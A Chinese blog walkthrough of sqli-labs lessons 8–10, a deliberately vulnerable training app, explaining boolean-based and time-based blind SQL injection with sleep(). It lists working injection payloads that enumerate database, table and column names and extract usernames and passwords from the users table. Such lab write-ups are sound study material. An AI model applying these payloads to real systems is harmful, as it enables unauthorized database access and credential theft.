zoukankan      html  css  js  c++  java
  • sql-lib闯关之lesson8-10

    知识铺垫
    前面我们补充了布尔盲注,但是缺点也十分明显,就是效率太低了。
    这次我们增添一种,时间盲注,可以同时用于有回显和没回显的情况下,弥补了布尔盲注不能用于无回显的不足。
    函数
    if(condition,A,B)  如果条件condition为true,则执行语句A,否则执行语句B。
    sleep(5):等待5秒之后再返回页面做出反应

    LESS8
    我们开始闯关,有回显

    第一种方法:布尔盲注
    ①判断列数 输入:?id=1' order by 3 --+


    ②接着判断 输入:?id=1' order by 4 --+  此时you are in 消失了,表示存在三列


    ③猜测数据库表明第一个字母  输入:?id=1' and left((select database()),1)=0x73 --+    (0x73就是十六进制里的s)

     同时也可以使用ascii编码?id=1’ and ascii(substr((select database()),1,1)) > 16--+ 


    ④输入:?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 先通过大于号或者小于号来判断数据库的第一个字母是哪一个

    可以使用
    输入:?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+
    此时可以验证数据库中第五个数据库的第一个字母是s 


    ⑤输入:?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+
    判断security数据库中的第4个表中的数据的第一位是否大于11

    也可以使用
    输入:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+
    验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

    ⑥输入:?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+
    同理,进行判断表中的字段,然后进行判断。可以得到username,password; 

    ⑦输入:?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+
    同理,进行判断,最后再使用password进行判断。
    第二种方法:时间盲注
    ①输入?id=1' and if(length(database()) = 8,1,sleep(5))--+  意思就是,当数据库名字长度为8的时候很快加载,而不为8时需要加载5s中才可以


    ②输入:?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+
    如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。
    ③输入:?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 
     同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。

    总结:这两种方法都是利用猜测,效率低下
    推荐抓包爆破或者脚本运行


    LESS9

     输入:?id=1' order by 4--+

     换几个数值测试我们发现依旧都是you are in 没有回显,所以我们不能使用布尔盲注,只能使用时间盲注。


    LESS10

    第10关于第九关相同 更改id=1’为id=1” 就可以了

  • 相关阅读:
    【题解】字母 (letter)
    【题解】【原创题目】薇尔莉特
    【题解】Query on a tree III [SP1487] [Bzoj1803]
    11个炫酷的 Linux 终端命令
    A light-weight client-side OAuth library for Java
    android下的异步任务
    OAuth相关知识
    显示单位px、dip以及sp的区别
    Arduino连接SHT10温湿度传感器--返回值不正常解决办法
    blueterm蓝牙超级终端(源码)
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12363850.html
Copyright © 2011-2022 走看看